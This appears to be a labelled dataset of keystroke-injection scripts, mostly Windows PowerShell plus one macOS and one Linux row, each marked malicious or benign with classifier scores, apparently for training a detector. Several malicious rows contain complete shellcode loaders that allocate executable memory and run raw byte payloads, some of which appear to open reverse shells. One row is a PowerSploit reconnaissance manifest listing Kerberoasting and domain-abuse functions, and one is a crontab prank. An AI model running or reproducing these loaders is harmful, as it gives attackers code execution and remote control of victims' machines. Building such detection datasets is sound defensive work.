"DUCKY_REAL_BEGIN enter REM MacOS-REMAP.DVORAK enter REM Version 1.0 enter REM OS: macOS 10.4 - (Present) enter REM Author: NateW enter REM Requirements: Any DuckyScript Capable Device. In my case, I am building for a FlipperZero. enter REM Description: Launches terminal, uses hidutil to remap All keys to the Dvorak layout. enter REM More Instructions and Revert Script https://github.com/nwhistler/flipper-tools/tree/master/badusb/MacOS/key-remap enter DELAY 200 enter GUI SPACE enter DELAY 500 enter STRING Terminal enter DELAY 700 enter ENTER enter DELAY 700 enter STRING hidutil property --set '{""UserKeyMapping"":[{""HIDKeyboardModifierMappingSrc"": 0x70000002D,""HIDKeyboardModifierMappingDst"": 0x70000002F},{""HIDKeyboardModifierMappingSrc"": 0x70000002E, enter STRING ""HIDKeyboardModifierMappingDst"": 0x700000030},{""HIDKeyboardModifierMappingSrc"": 0x700000014,""HIDKeyboardModifierMappingDst"": 0x700000034},{""HIDKeyboardModifierMappingSrc"": 0x70000001A, enter STRING ""HIDKeyboardModifierMappingDst"": 0x700000036},{""HIDKeyboardModifierMappingSrc"": 0x700000008,""HIDKeyboardModifierMappingDst"": 0x700000037},{""HIDKeyboardModifierMappingSrc"": 0x700000015, enter STRING ""HIDKeyboardModifierMappingDst"": 0x700000013},{""HIDKeyboardModifierMappingSrc"": 0x700000017,""HIDKeyboardModifierMappingDst"": 0x70000001C},{""HIDKeyboardModifierMappingSrc"": 0x70000001C, enter STRING ""HIDKeyboardModifierMappingDst"": 0x700000009},{""HIDKeyboardModifierMappingSrc"": 0x700000018,""HIDKeyboardModifierMappingDst"": 0x70000000A},{""HIDKeyboardModifierMappingSrc"": 0x70000000C, enter STRING ""HIDKeyboardModifierMappingDst"": 0x700000006},{""HIDKeyboardModifierMappingSrc"": 0x700000012,""HIDKeyboardModifierMappingDst"": 0x700000015},{""HIDKeyboardModifierMappingSrc"": 0x700000013, enter STRING ""HIDKeyboardModifierMappingDst"": 0x70000000F},{""HIDKeyboardModifierMappingSrc"": 0x70000002F,""HIDKeyboardModifierMappingDst"": 0x700000038},{""HIDKeyboardModifierMappingSrc"": 0x700000030, enter STRING ""HIDKeyboardModifierMappingDst"": 0x70000002E},{""HIDKeyboardModifierMappingSrc"": 0x700000016,""HIDKeyboardModifierMappingDst"": 0x700000012},{""HIDKeyboardModifierMappingSrc"": 0x700000007, enter STRING ""HIDKeyboardModifierMappingDst"": 0x700000008},{""HIDKeyboardModifierMappingSrc"": 0x700000009,""HIDKeyboardModifierMappingDst"": 0x700000018},{""HIDKeyboardModifierMappingSrc"": 0x70000000A, enter STRING ""HIDKeyboardModifierMappingDst"": 0x70000000C},{""HIDKeyboardModifierMappingSrc"": 0x70000000B,""HIDKeyboardModifierMappingDst"": 0x700000007},{""HIDKeyboardModifierMappingSrc"": 0x70000000D, enter STRING ""HIDKeyboardModifierMappingDst"": 0x70000000B},{""HIDKeyboardModifierMappingSrc"": 0x70000000E,""HIDKeyboardModifierMappingDst"": 0x700000017},{""HIDKeyboardModifierMappingSrc"": 0x70000000F, enter STRING ""HIDKeyboardModifierMappingDst"": 0x700000011},{""HIDKeyboardModifierMappingSrc"": 0x700000033,""HIDKeyboardModifierMappingDst"": 0x700000016},{""HIDKeyboardModifierMappingSrc"": 0x700000034, enter STRING ""HIDKeyboardModifierMappingDst"": 0x70000002D},{""HIDKeyboardModifierMappingSrc"": 0x70000001D,""HIDKeyboardModifierMappingDst"": 0x700000033},{""HIDKeyboardModifierMappingSrc"": 0x70000001B, enter STRING ""HIDKeyboardModifierMappingDst"": 0x700000014},{""HIDKeyboardModifierMappingSrc"": 0x700000006,""HIDKeyboardModifierMappingDst"": 0x70000000D},{""HIDKeyboardModifierMappingSrc"": 0x700000019, enter STRING ""HIDKeyboardModifierMappingDst"": 0x70000000E},{""HIDKeyboardModifierMappingSrc"": 0x700000005,""HIDKeyboardModifierMappingDst"": 0x70000001B},{""HIDKeyboardModifierMappingSrc"": 0x700000011, enter STRING ""HIDKeyboardModifierMappingDst"": 0x700000005},{""HIDKeyboardModifierMappingSrc"": 0x700000010,""HIDKeyboardModifierMappingDst"": 0x700000010},{""HIDKeyboardModifierMappingSrc"": 0x700000036,""HIDKeybo enter STRING {""HIDKeyboardModifierMappingSrc"": 0x700000037,""HIDKeyboardModifierMappingDst"": 0x700000019},{""HIDKeyboardModifierMappingSrc"": 0x700000038,""HIDKeyboardModifierMappingDst"": 0x70000001D}]}' enter DELAY 3500 enter ENTER enter DUCKY_REAL_END",1,1,5.7206737e-05,0.9999428
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_iei213jt"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4566183e-05
"win+r enter powershell enter enter enter @{ enter enter # Script module or binary module file associated with this manifest. enter ModuleToProcess = 'Recon.psm1' enter enter # Version number of this module. enter ModuleVersion = '3.0.0.0' enter enter # ID used to uniquely identify this module enter GUID = '7e775ad6-cd3d-4a93-b788-da067274c877' enter enter # Author of this module enter Author = 'Matthew Graeber', 'Will Schroeder' enter enter # Copyright statement for this module enter Copyright = 'BSD 3-Clause' enter enter # Description of the functionality provided by this module enter Description = 'PowerSploit Reconnaissance Module' enter enter # Minimum version of the Windows PowerShell engine required by this module enter PowerShellVersion = '2.0' enter enter # Functions to export from this module enter FunctionsToExport = @( enter 'Export-PowerViewCSV', enter 'Resolve-IPAddress', enter 'ConvertTo-SID', enter 'ConvertFrom-SID', enter 'Convert-ADName', enter 'ConvertFrom-UACValue', enter 'Add-RemoteConnection', enter 'Remove-RemoteConnection', enter 'Invoke-UserImpersonation', enter 'Invoke-RevertToSelf', enter 'Get-DomainSPNTicket', enter 'Invoke-Kerberoast', enter 'Get-PathAcl', enter 'Get-DomainDNSZone', enter 'Get-DomainDNSRecord', enter 'Get-Domain', enter 'Get-DomainController', enter 'Get-Forest', enter 'Get-ForestDomain', enter 'Get-ForestGlobalCatalog', enter 'Find-DomainObjectPropertyOutlier', enter 'Get-DomainUser', enter 'New-DomainUser', enter 'Set-DomainUserPassword', enter 'Get-DomainUserEvent', enter 'Get-DomainComputer', enter 'Get-DomainObject', enter 'Set-DomainObject', enter 'Set-DomainObjectOwner', enter 'Get-DomainObjectAcl', enter 'Add-DomainObjectAcl', enter 'Find-InterestingDomainAcl', enter 'Get-DomainOU', enter 'Get-DomainSite', enter 'Get-DomainSubnet', enter 'Get-DomainSID', enter 'Get-DomainGroup', enter 'New-DomainGroup', enter 'Get-DomainManagedSecurityGroup', enter 'Get-DomainGroupMember', enter 'Add-DomainGroupMember', enter 'Get-DomainFileServer', enter 'Get-DomainDFSShare', enter 'Get-DomainGPO', enter 'Get-DomainGPOLocalGroup', enter 'Get-DomainGPOUserLocalGroupMapping', enter 'Get-DomainGPOComputerLocalGroupMapping', enter 'Get-DomainPolicy', enter 'Get-NetLocalGroup', enter 'Get-NetLocalGroupMember', enter 'Get-NetShare', enter 'Get-NetLoggedon', enter 'Get-NetSession', enter 'Get-RegLoggedOn', enter 'Get-NetRDPSession', enter 'Test-AdminAccess', enter 'Get-NetComputerSiteName', enter 'Get-WMIRegProxy', enter 'Get-WMIRegLastLoggedOn', enter 'Get-WMIRegCachedRDPConnection', enter 'Get-WMIRegMountedDrive', enter 'Get-WMIProcess', enter 'Find-InterestingFile', enter 'Find-DomainUserLocation', enter 'Find-DomainProcess', enter 'Find-DomainUserEvent', enter 'Find-DomainShare', enter 'Find-InterestingDomainShareFile', enter 'Find-LocalAdminAccess', enter 'Find-DomainLocalGroupMember', enter 'Get-DomainTrust', enter 'Get-ForestTrust', enter 'Get-DomainForeignUser', enter 'Get-DomainForeignGroupMember', enter 'Get-DomainTrustMapping', enter 'Get-ComputerDetail', enter 'Get-HttpStatus', enter 'Invoke-Portscan', enter 'Invoke-ReverseDnsLookup' enter ) enter enter # List of all files packaged with this module enter FileList = 'Recon.psm1', 'Recon.psd1', 'PowerView.ps1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1', enter 'Invoke-Portscan.ps1', 'Get-ComputerDetails.ps1', 'README.md' enter enter } enter enter",1,1,0.00018269294,0.9998173
"win+r powershell enter function Start-TestFixture { & (Join-Path -Path $PSScriptRoot -ChildPath '..\In enter itialize-CarbonTest.ps1' -Resolve) } function Test-ShouldCheckIfLocalAccountExi enter sts { $localUserAccounts = @(Get-WmiObject -Query ""select * from win32_useracco enter unt where Domain='$($env:ComputerName)'"" -Computer .) Assert-True (0 -lt $local enter UserAccounts.Length) foreach( $localUserAccount in $localUserAccounts ) { Ass enter ert-True (Test-User -Username $localUserAccount.Name) enter enter",1,1,0.0026596081,0.9973404
"win+r enter powershell enter enter enter $T72 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $T72 -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xb8,0xe1,0x8b,0x75,0x96,0xdb,0xd7,0xd9,0x74,0x24,0xf4,0x5a,0x31,0xc9,0xb1,0x47,0x31,0x42,0x13,0x03,0x42,0x13,0x83,0xea,0x1d,0x69,0x80,0x6a,0x35,0xec,0x6b,0x93,0xc5,0x91,0xe2,0x76,0xf4,0x91,0x91,0xf3,0xa6,0x21,0xd1,0x56,0x4a,0xc9,0xb7,0x42,0xd9,0xbf,0x1f,0x64,0x6a,0x75,0x46,0x4b,0x6b,0x26,0xba,0xca,0xef,0x35,0xef,0x2c,0xce,0xf5,0xe2,0x2d,0x17,0xeb,0x0f,0x7f,0xc0,0x67,0xbd,0x90,0x65,0x3d,0x7e,0x1a,0x35,0xd3,0x06,0xff,0x8d,0xd2,0x27,0xae,0x86,0x8c,0xe7,0x50,0x4b,0xa5,0xa1,0x4a,0x88,0x80,0x78,0xe0,0x7a,0x7e,0x7b,0x20,0xb3,0x7f,0xd0,0x0d,0x7c,0x72,0x28,0x49,0xba,0x6d,0x5f,0xa3,0xb9,0x10,0x58,0x70,0xc0,0xce,0xed,0x63,0x62,0x84,0x56,0x48,0x93,0x49,0x00,0x1b,0x9f,0x26,0x46,0x43,0x83,0xb9,0x8b,0xff,0xbf,0x32,0x2a,0xd0,0x36,0x00,0x09,0xf4,0x13,0xd2,0x30,0xad,0xf9,0xb5,0x4d,0xad,0xa2,0x6a,0xe8,0xa5,0x4e,0x7e,0x81,0xe7,0x06,0xb3,0xa8,0x17,0xd6,0xdb,0xbb,0x64,0xe4,0x44,0x10,0xe3,0x44,0x0c,0xbe,0xf4,0xab,0x27,0x06,0x6a,0x52,0xc8,0x77,0xa2,0x90,0x9c,0x27,0xdc,0x31,0x9d,0xa3,0x1c,0xbe,0x48,0x59,0x18,0x28,0xb3,0x36,0x23,0xc4,0x5b,0x45,0x24,0x15,0x27,0xc0,0xc2,0x45,0x07,0x83,0x5a,0x25,0xf7,0x63,0x0b,0xcd,0x1d,0x6c,0x74,0xed,0x1d,0xa6,0x1d,0x87,0xf1,0x1f,0x75,0x3f,0x6b,0x3a,0x0d,0xde,0x74,0x90,0x6b,0xe0,0xff,0x17,0x8b,0xae,0xf7,0x52,0x9f,0x46,0xf8,0x28,0xfd,0xc0,0x07,0x87,0x68,0xec,0x9d,0x2c,0x3b,0xbb,0x09,0x2f,0x1a,0x8b,0x95,0xd0,0x49,0x80,0x1c,0x45,0x32,0xfe,0x60,0x89,0xb2,0xfe,0x36,0xc3,0xb2,0x96,0xee,0xb7,0xe0,0x83,0xf0,0x6d,0x95,0x18,0x65,0x8e,0xcc,0xcd,0x2e,0xe6,0xf2,0x28,0x18,0xa9,0x0d,0x1f,0x98,0x95,0xdb,0x59,0xee,0xf7,0xdf;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$94j2=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($94j2.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$94j2,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.3092852e-05,0.99994695
"win+r enter powershell enter enter enter [CmdletBinding()] enter Param ( enter [switch] enter $SkipTest, enter enter [string[]] enter $CommandPath = @(""$PSScriptRoot\..\..\functions"", ""$PSScriptRoot\..\..\internal\functions"") enter ) enter enter if ($SkipTest) { return } enter enter $list = New-Object System.Collections.ArrayList enter enter Describe 'Invoking PSScriptAnalyzer against commandbase' { enter $commandFiles = Get-ChildItem -Path $CommandPath -Recurse -Filter ""*.ps1"" enter $scriptAnalyzerRules = Get-ScriptAnalyzerRule enter enter foreach ($file in $commandFiles) enter { enter Context ""Analyzing $($file.BaseName)"" { enter $analysis = Invoke-ScriptAnalyzer -Path $file.FullName -ExcludeRule PSAvoidTrailingWhitespace, PSShouldProcess enter enter forEach ($rule in $scriptAnalyzerRules) enter { enter It ""Should pass $rule"" { enter If ($analysis.RuleName -contains $rule) enter { enter $analysis | Where-Object RuleName -EQ $rule -outvariable failures | ForEach-Object { $list.Add($_) } enter enter 1 | Should Be 0 enter } enter else enter { enter 0 | Should Be 0 enter } enter } enter } enter } enter } enter } enter enter $list | Out-Default enter enter",0,0,0.9999335,6.647944e-05
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr enter lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kern enter el32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, u enter int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags enter , IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset enter (IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "" enter Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xd4,0xd9, enter 0x74,0x24,0xf4,0xbf,0xba,0x38,0x46,0xe9,0x5a,0x33,0xc9,0xb1,0x47,0x83,0xc2,0x04, enter 0x31,0x7a,0x14,0x03,0x7a,0xae,0xda,0xb3,0x15,0x26,0x98,0x3c,0xe6,0xb6,0xfd,0xb5, enter 0x03,0x87,0x3d,0xa1,0x40,0xb7,0x8d,0xa1,0x05,0x3b,0x65,0xe7,0xbd,0xc8,0x0b,0x20, enter 0xb1,0x79,0xa1,0x16,0xfc,0x7a,0x9a,0x6b,0x9f,0xf8,0xe1,0xbf,0x7f,0xc1,0x29,0xb2, enter 0x7e,0x06,0x57,0x3f, enter",1,1,5.399352e-05,0.999946
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_1o7phtyo"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.json"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.4901856e-05
"win+r enter powershell enter enter enter $z67 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $z67 -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x65,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$ePY=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($ePY.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$ePY,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.218823e-05,0.9999478
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_usstuqaj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.json"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroup | enter Select-Object Name, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.474988e-05
"win+r powershell enter $ResourceGroup = ""{ReplaceWithYourResourceGroup}"" $StorageAccountName = ""{Repla enter ceWithYourStorageAccountName}"" $ContainerName = ""`$logs"" $CustomerId = ""{Repla enter ceWithYourLogAnalyticsWorkspaceId}"" $SharedKey = ""{ReplaceWithYourLogAnalytics enter WorkspacePrimaryKey}"" $LogType = ""{ReplaceWithYourLogAnalyticsLogType}"" enter enter",1,1,0.0042000758,0.99579996
"win+r powershell enter # Set the path to the Chrome executable $ChromePath = ""C:\Program Files (x86)\Go enter ogle\Chrome\Application\chrome.exe"" # Set the URL to the Epic website $Url = ""h enter ttps://www.epic.com/"" # Launch a new Chrome window with the URL Start-Process $ enter ChromePath -ArgumentList $Url enter enter",1,1,0.0016666251,0.9983334
"unknown_key_action alt f2 gnome-terminal enter echo ""33 18 * * * xdg-open https://www.youtube.com/watch?v=dqw4w9wgxcq"" | crontab - enter ctrl shift q",1,1,6.380815e-05,0.9999362
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_9oa3su4y"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_ready_tasks.csv"") -NoTypeInformation enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4727553e-05
"win+r powershell enter  [CmdletBinding()] param ( [Parameter(Mandatory, ValueFromPipeline, ValueFro enter mPipelineByPropertyName)] [ValidateScript({Test-Path $_ -PathType 'Container'}) enter ] [string]$FolderPath, [Parameter(Mandatory, ValueFromPipeline, ValueFromPip enter elineByPropertyName)] [string]$Vm, enter enter",1,1,0.0037932822,0.99620664
"win+r enter powershell enter enter enter class CommandResult { enter [bool]$Success enter [object[]]$Errors = @() enter [object[]]$Output = @() enter [Stream]$Streams = [Stream]::new() enter [bool]$Authorized = $true enter [timespan]$Duration enter enter [pscustomobject]Summarize() { enter return [pscustomobject]@{ enter Success = $this.Success enter Output = $this.Output enter Errors = foreach ($item in $this.Errors) { enter enter if ($item -is [System.Management.Automation.ErrorRecord]) { enter [ExceptionFormatter]::Summarize($item) enter } else { enter $item enter } enter } enter Authorized = $this.Authorized enter Duration = $this.Duration.TotalSeconds enter } enter } enter enter [string]ToJson() { enter return $this.Summarize() | ConvertTo-Json -Depth 10 -Compress enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x2b,0x45,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.136535e-05,0.9999486
"win+r enter powershell enter enter enter function Resolve-PSFDefaultParameterValue enter { enter enter [OutputType([System.Collections.Hashtable])] enter [CmdletBinding(HelpUri = 'https://psframework.org/documentation/commands/PSFramework/Resolve-PSFDefaultParameterValue')] enter param ( enter [Parameter(Mandatory = $true)] enter [System.Collections.Hashtable] enter $Reference, enter enter [Parameter(Mandatory = $true)] enter [string[]] enter $CommandName, enter enter [System.Collections.Hashtable] enter $Target = @{ }, enter enter [string[]] enter $ParameterName = ""*"" enter ) enter enter begin enter { enter $defaultItems = @() enter foreach ($key in $Reference.Keys) enter { enter $defaultItems += [PSCustomObject]@{ enter Key = $key enter Value = $Reference[$key] enter Command = $key.Split("":"")[0] enter Parameter = $key.Split("":"")[1] enter } enter } enter } enter process enter { enter foreach ($command in $CommandName) enter { enter foreach ($item in $defaultItems) enter { enter if ($command -notlike $item.Command) { continue } enter enter foreach ($parameter in $ParameterName) enter { enter if ($item.Parameter -like $parameter) enter { enter if ($parameter -ne ""*"") { $Target[""$($command):$($parameter)""] = $item.Value } enter else { $Target[""$($command):$($item.Parameter)""] = $item.Value } enter } enter } enter } enter } enter } enter end enter { enter $Target enter } enter } enter enter",0,0,0.9998523,0.00014772474
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_y6td737h"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.json"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4601537e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_mogk6l37"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter Write-Host ""Starting system_inventory section 2."" enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,3) } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4552933e-05
